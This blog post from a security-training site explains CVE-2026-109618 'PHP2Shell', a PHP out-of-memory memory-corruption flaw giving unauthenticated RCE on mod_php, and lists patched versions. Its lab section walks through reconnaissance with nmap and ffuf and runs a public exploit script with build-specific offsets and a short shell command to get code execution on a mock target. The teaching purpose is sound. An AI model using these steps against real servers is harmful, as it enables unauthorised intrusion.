Resources
    The Crash That Runs Your ...
    29 October 26

    The Crash That Runs Your Code: Inside PHP's CVE-2026-109618 (PHP2Shell)

    Posted byAshish Bhangale
    news-featured

    Most vulnerabilities give an attacker something they can see: an endpoint that takes input it shouldn't, a parameter that ends up in a database query, a file path that escapes its directory. CVE-2026-109618 is stranger than that. The way in is to make PHP run out of memory at an unlucky moment, and then take advantage of the mess PHP makes while it is falling over.

    It is one of two bugs disclosed together in October 2026 under the name PHP2Shell. Both live in PHP itself, the interpreter that runs behind a huge share of the websites you use every day, rather than in any plugin or framework or anything a developer wrote. That is what makes it worth paying attention to. You can have perfectly clean application code and still be exposed, because the problem is a layer underneath your code.

    This post explains what the bug actually is and how a crash turns into remote code execution, then walks through exploiting it yourself in a lab environment, closing with how it was fixed.

    Vulnerability Overview

    CVE

    CVE-2026-109618. Its sibling, CVE-2026-109619, is a separate bug fixed alongside it and is not covered here.

    Affected product

    PHP itself (php-src), the core interpreter

    Affected versions

    PHP 8.2 before 8.2.35, 8.3 before 8.3.36, 8.4 before 8.4.27, and 8.5 before 8.5.12

    Type

    Unauthenticated remote code execution caused by memory corruption.

    Severity

    9.2 Critical on CVSS v4.0

    Confirmed impact

    Unauthenticated RCE over HTTP, demonstrated against Apache with mod_php on default settings, before any application code runs.

    Skill Dive CVE 

    PHP2Shell: Exploiting PHP Memory Corruption

    What PHP does when it runs out of memory

    To understand this bug you only need to understand one thing about how PHP works internally, and it is not complicated.

    Every PHP process has a memory budget, set by memory_limit. When a request tries to use more memory than that, PHP has to stop it. The clean way to stop would be to return an error back through every function that is currently running, letting each one tidy up as control passes back through it. PHP doesn't do that. The interpreter is a big body of C code, and an out-of-memory error can happen at almost any allocation anywhere in it, so instead of threading an error return through every one of those call sites, PHP handles it in one place.

    So PHP takes a shortcut that C programs have used for decades. It is called longjmp(), and the easiest way to picture it is as an emergency exit. Early in handling a request, PHP props the exit open and says, in effect, “if something goes badly wrong anywhere in here, jump straight back to this door.” PHP calls this its bailout. When an allocation fails, PHP doesn't walk back out the way it came in, through all the functions it is nested inside. It goes straight for the exit and skips past all of them.

    For most of PHP's history that was a fine trade. Jumping is fast and simple, and running out of memory was treated as a rare, fatal, nothing-more-to-do event. If a request died, it died.

    The catch is in that word skips. The functions PHP jumps over don't get to finish what they were doing, and they don't get to clean up after themselves. That is harmless right up until one of those half-finished functions left something behind that another part of PHP is going to look at later and assume is finished.

    The unlucky moment

    Here is where it goes wrong.

    The place this goes wrong is the window while PHP is still building the internal state a request needs: the tables and structures that hold the request together. In the advisory's words, “request memory is temporarily reachable before it is fully initialized.” The clearest example, and the one confirmed against Apache's mod_php, is during request startup, before your application code runs at all. PHP is parsing the incoming request body and setting things up, and for a brief instant some of those structures are visible to the rest of the engine before they are finished. The pointer to the structure exists, but the structure it points to isn't complete yet. (This isn't strictly a startup-only problem. The advisory notes PHP-FPM can reach the same bad state after startup too. Startup is just where it is easiest to see and where it has been confirmed.)

    Normally that instant passes in microseconds and nothing notices. But if an allocation fails during that instant, PHP does what it always does: it takes the emergency exit. The jump lands PHP back at the door, out of the half-finished work. Then PHP runs its normal end-of-request cleanup, because as far as it is concerned the request is over and needs tidying up. On Apache with mod_php this is guaranteed: the advisory notes that mod_php “unconditionally invokes the request shutdown procedure, even when request startup has failed.”

    That cleanup code finds the half-built structure, sees the pointer, and treats it as real, because under every normal circumstance it would be. It reads from memory that was never initialized, or that is already gone. That is the “corruption” in the advisory's title. Here is PHP's own description:

    “PHP uses longjmp() for out-of-memory (OOM) errors to exit the current context and abort handling of the request. Some contexts may not properly account for this scenario and leave request memory in an uninitialized state before performing an allocation. The subsequent request cleanup procedure may read or branch on this memory. Multiple OOM strategies can consistently trigger this condition and lead to remote code execution (RCE).”

    The PHP Foundation put it in plainer language: “If a request reached PHP's memory_limit at exactly the wrong moment, PHP could leave partially initialized internal data behind and later treat it as valid, corrupting memory.”

    So an attacker needs to do two things that, from outside a web server, they should have no business doing: make PHP run out of memory on command, and do it at the precise point where that broken-pointer window is open. The advisory's phrase “multiple OOM strategies can consistently trigger this” is the uncomfortable part. There is more than one reliable way to steer PHP into exhausting memory at a chosen spot. The researchers who reported it took it the rest of the way to running their own code on the server, as the account the web server runs under. The general shape of a working chain is now understood: reclaim the freed memory with predictable heap allocations, leak enough information to defeat ASLR, and steer a stale pointer into something PHP will execute. PHP rates the overall attack complexity as high, so this is not something a casual scanner trips into. But “hard” is not “safe,” and the lab walkthrough later in this post demonstrates that shape end to end.

    Why it doesn't matter how good your code is

    With most web bugs, you have some say in your own defense. You can validate input, require a login, add a WAF rule, patch the vulnerable library.

    This bug sits underneath all of that. The corruption happens while PHP is starting up, before your application gets control of the request. On Apache with mod_php, PHP's advisory confirms an unauthenticated attacker can reach the flaw over HTTP, on default settings, before a line of your code runs. Wiz, one of the firms that found the bug, made the point directly: even a bare “Hello World” page on an affected version is exposed. Your code never gets a chance to weigh in.

    That said, not every way of running PHP is equally exposed, and it is worth being precise instead of scaring everyone equally. Here is what PHP's advisory actually claims for each setup:

    • Apache mod_php: Confirmed. Unauthenticated RCE validated on default settings. mod_php runs its cleanup even when startup fails, which is exactly the path that gets abused.

    • PHP-FPM: Source analysis suggests it is affected, but the advisory does not claim a full working exploit against it. When startup fails, FPM exits the worker, which makes the same trick harder. (One nuance: the PHP Foundation's own write-up says RCE was confirmed on FPM, but through application-level code paths rather than the before-your-code path. The clean way to state it: mod_php is the confirmed pre-authentication, pre-application case; FPM is reachable, but by a harder and more conditional route.)

    • FrankenPHP: Likely susceptible to the same application-independent attack as mod_php, based on source analysis: the advisory says FrankenPHP also calls the request shutdown procedure unconditionally. Not separately demonstrated.

    • LiteSpeed (LSAPI): The advisory says LSAPI “models FPM,” so application-specific exploits are “likely but unvalidated.” In other words, closer to the FPM case than the mod_php one.

    The short version: the confirmed worst case is mod_php, and the rest range from “probably” to “not proven.” That is useful for deciding what to fix first. It is not a reason to relax, because the fix and the urgency are the same across all of them.

    The Lab: Exploiting It Yourself

    Here is a walkthrough of exploiting CVE-2026-109618 in a lab environment, from a Kali box to code execution on the target.

    The Environment

    The lab target, ArchiveFlow Partner Exchange, is a mock partner document-exchange web application reachable from a Kali attack box at archiveflow.local. It runs the vulnerable PHP 8.4.26 under Apache mod_php/prefork, the exact deployment PHP's advisory confirms as the pre-authentication worst case. The exploit script, exploit-109618.py (Exploit-DB EDB-52704), is already staged on the Kali desktop, along with the wordlists used for enumeration.

    Before starting, it is worth knowing what makes this particular target reliably exploitable, because the public exploit chain depends on more than just an old PHP version:

    • memory_limit=8M, while the exploit deliberately sends a larger multipart field to force the out-of-memory bailout.

    • post_max_size=64M and upload_max_filesize=64M, so the oversized request is accepted far enough to reach PHP's parsing stage instead of being rejected upfront.

    • session.upload_progress.enabled=On, which supplies the early session processing the vulnerable window needs.

    • session.use_strict_mode=0, with cookies enabled, so attacker-influenced session state is accepted.

    • A single Apache prefork worker, with keep-alive disabled, which makes the heap-reuse behavior the exploit depends on predictable.

    • Error display enabled, so the in-band Set-Cookie disclosures the exploit relies on for its heap and libphp leaks can actually be recovered.

    No login or prior access to the target is required; the vulnerability is reachable by an unauthenticated attacker over plain HTTP.

    One more thing to know going in: the exploit's live `zend_string` carrier, the piece of corrupted memory that ultimately gets executed, accepts at most 14 command bytes. That is too short to carry a useful payload like a reverse shell one-liner. To make the lab completable without that constraint getting in the way, a small proof helper is pre-staged on the target at `/opt/lab/x`. When invoked, it writes `id` output to the web-served proof file `storage/uploads/p` and copies the lab flag to `storage/uploads/flag.txt`. The trigger command used against it, `sh</opt/lab/x`, is exactly 13 bytes, so it fits inside the 14-byte carrier. This helper is not an application command-injection shortcut; it is only reachable after control flow has already been hijacked through the real PHP memory-corruption chain.

    Step 1: Open the Kali machine

    Open the lab link to access the provided Kali desktop, then launch a terminal.

    Kali Linux desktop used to begin the CVE-2026-109618 PHP2Shell lab.

    Step 2: Enumerate the ArchiveFlow service

    Scan the assigned target by name. -Pn avoids relying on ICMP, -sT performs a TCP connect scan, and -sV requests service detection.

    nmap -Pn -sT -sV --version-light -p 80 archiveflow.local

    Nmap scan showing Apache 2.4.69 running on port 80 at archiveflow.local.

    The result shows the target is reachable and identifies Apache 2.4.69 on TCP/80.

    Step 3: Inspect the application

    Open Firefox in the Kali desktop and browse to http://archiveflow.local/.

    ArchiveFlow Partner Exchange web application running on the vulnerable PHP lab server.

    ArchiveFlow presents itself as a partner document-exchange platform. Inspect the response headers and the crawler policy:

    curl -sI http://archiveflow.local/
    curl -s http://archiveflow.local/robots.txt

    Terminal output showing ArchiveFlow HTTP headers and robots.txt paths during reconnaissance.

    The response identifies Apache and PHP 8.4.26. robots.txt points toward support, backup, and storage paths worth enumerating.

    Step 4: Discover application content

    Use the installed DIRB wordlist with ffuf:

    ffuf -w /usr/share/dirb/wordlists/common.txt \
      -u http://archiveflow.local/FUZZ \
      -mc 200,301,302,401,403 -ac -s

    ffuf directory enumeration of archiveflow.local revealing accessible application paths.

    Fuzz the backup/ directory for readable files:

    ffuf \
      -w /usr/share/seclists/Discovery/Web-Content/raft-large-files-lowercase.txt \
      -u http://archiveflow.local/backup/FUZZ \
      -mc 200 \
      -ac

    ffuf scan of the ArchiveFlow backup directory revealing the release-notes.txt file.

    This reveals release-notes.txt. Inspect it:

    curl -s http://archiveflow.local/backup/release-notes.txt

    ArchiveFlow release notes confirming PHP 8.4.26, Apache prefork, and multipart request processing.

    The note confirms three important conditions: PHP 8.4.26, Apache prefork, and multipart intake processing, exactly the ingredients the vulnerability needs.

    Step 5: Confirm the runtime interface

    Fuzz the support/ directory for files, appending the .php extension:

    ffuf \
      -w /usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt \
      -u http://archiveflow.local/support/FUZZ \
      -e .php \
      -mc 200 \
      -ac

    ffuf scan of the ArchiveFlow support directory revealing the diagnostics.php endpoint.

    This reveals diagnostics.php. Access it at http://archiveflow.local/support/diagnostics.php.

    ArchiveFlow diagnostics page showing PHP 8.4.26 and the apache2handler interface used by mod_php.

    The relevant values are runtime PHP 8.4.26, interface apache2handler, host archiveflow. apache2handler confirms mod_php, which matters because request startup, shutdown, and worker lifetime all happen inside one persistent Apache process, the highest-risk deployment described in PHP's advisory.

    Step 6: Understand what's about to happen

    PHP 8.4.26 predates the fixed 8.4.27 release, and the target carries the reliability settings described above. The sequence the exploit drives:

    1. A large multipart request forces an out-of-memory bailout during request parsing, the exact unlucky moment described earlier in this post.

    2. Partially initialized request data stays reachable during cleanup instead of being discarded.

    3. Follow-up requests reclaim predictable Zend heap allocations in that freed space.

    4. Cookie data discloses the Zend MM chunk base and a libphp pointer, enough to defeat ASLR.

    5. The exploit derives ASLR-adjusted addresses and places a forged HashTable in the reclaimed memory.

    6. PHP invokes the forged destructor, which points to zif_system, PHP's internal system() implementation, and command execution follows.

    Step 7: Check the staged PoC

    python3 ~/Desktop/exploit-109618.py --help | head

    Terminal showing command-line options for the exploit-109618.py CVE-2026-109618 proof-of-concept script.

    Step 8: Execute the CVE-2026-109618 chain

    Run the exploit against a simple PHP endpoint. Two offsets are passed explicitly: --zif-offset is the offset of zif_system inside libphp.so, and --dtor-offset is the offset of ZVAL_PTR_DTOR. Both are fixed properties of this exact PHP build; they are relative offsets only, and the real ASLR-randomized addresses are leaked and recovered at runtime by the exploit itself.

    python3 ~/Desktop/exploit-109618.py \
      -u http://archiveflow.local/status.php \
      -c 'sh</opt/lab/x' \
      --proof-file '' \
      --fetch /storage/uploads/flag.txt \
      --zif-offset 0x465370 \
      --dtor-offset 0x65eb60 \
      --retries 5

    Successful CVE-2026-109618 exploit output showing leaked PHP memory addresses and remote code execution.

    Successful output contains the leaked Zend MM heap chunk base, the leaked libphp base used to defeat ASLR, the calculated addresses used in the forged structure, confirmation of a successful final-stage execution attempt, and the retrieved proof. This is a build-calibrated memory-corruption chain: if all leak attempts miss, rerun the same command rather than changing the hostname, endpoint, or offsets.

    Step 9: Verify the impact independently

    curl -s http://archiveflow.local/storage/uploads/p
    curl -s http://archiveflow.local/storage/uploads/flag.txt

    Terminal verification showing command execution as the Apache web server account and retrieval of the lab flag.

    The first response proves the command ran as the Apache worker account. The second is the recovered flag.

    What just happened

    No credentials, no login page, no application vulnerability of any kind. A crafted multipart request pushed PHP into an out-of-memory bailout at exactly the moment its own internal bookkeeping was unfinished, and the cleanup code that ran afterward trusted memory it should have thrown away. Everything downstream, the heap leak, the ASLR bypass, the forged destructor, is PHP acting exactly as designed on data it was never supposed to see in that state. The only thing application code could have done differently here is not run PHP 8.4.26.

    Fixed in: PHP 8.2.35, 8.3.36, 8.4.27, and 8.5.12. Per PHP's advisory, the patch removes longjmp() for out-of-memory handling entirely, replacing it with a delayed, graceful “soft” OOM triggered at the next VM safe point, and an immediate “hard” OOM that calls _exit() if memory use reaches a second, higher threshold, with no cleanup at all. The advisory states that updating to a fixed release is the only complete mitigation. According to Debian's security tracker, the end-of-life 7.4, 8.0, and 8.1 branches received source backports rather than official binaries; 7.3 and older have no fix at all.

    References


    Note: the sibling vulnerability, CVE-2026-109619 (“RCE via stale global state,” GHSA-6wmf-4rv5-p3rp), is covered separately.

    Try this exploit for yourself within Skill Dive's CVE lab collection, regularly updated with the latest vulnerabilities.

    Explore Training on INE at https://my.ine.com/

    Share this post with your network

    twitter Logofacebook Logolinkedin Logowhatsapp Logoemail Logo
    © 2026 INE. All Rights Reserved. All logos, trademarks and registered trademarks are the property of their respective owners.
    instagram Logofacebook Logox Logolinkedin Logoyoutube Logo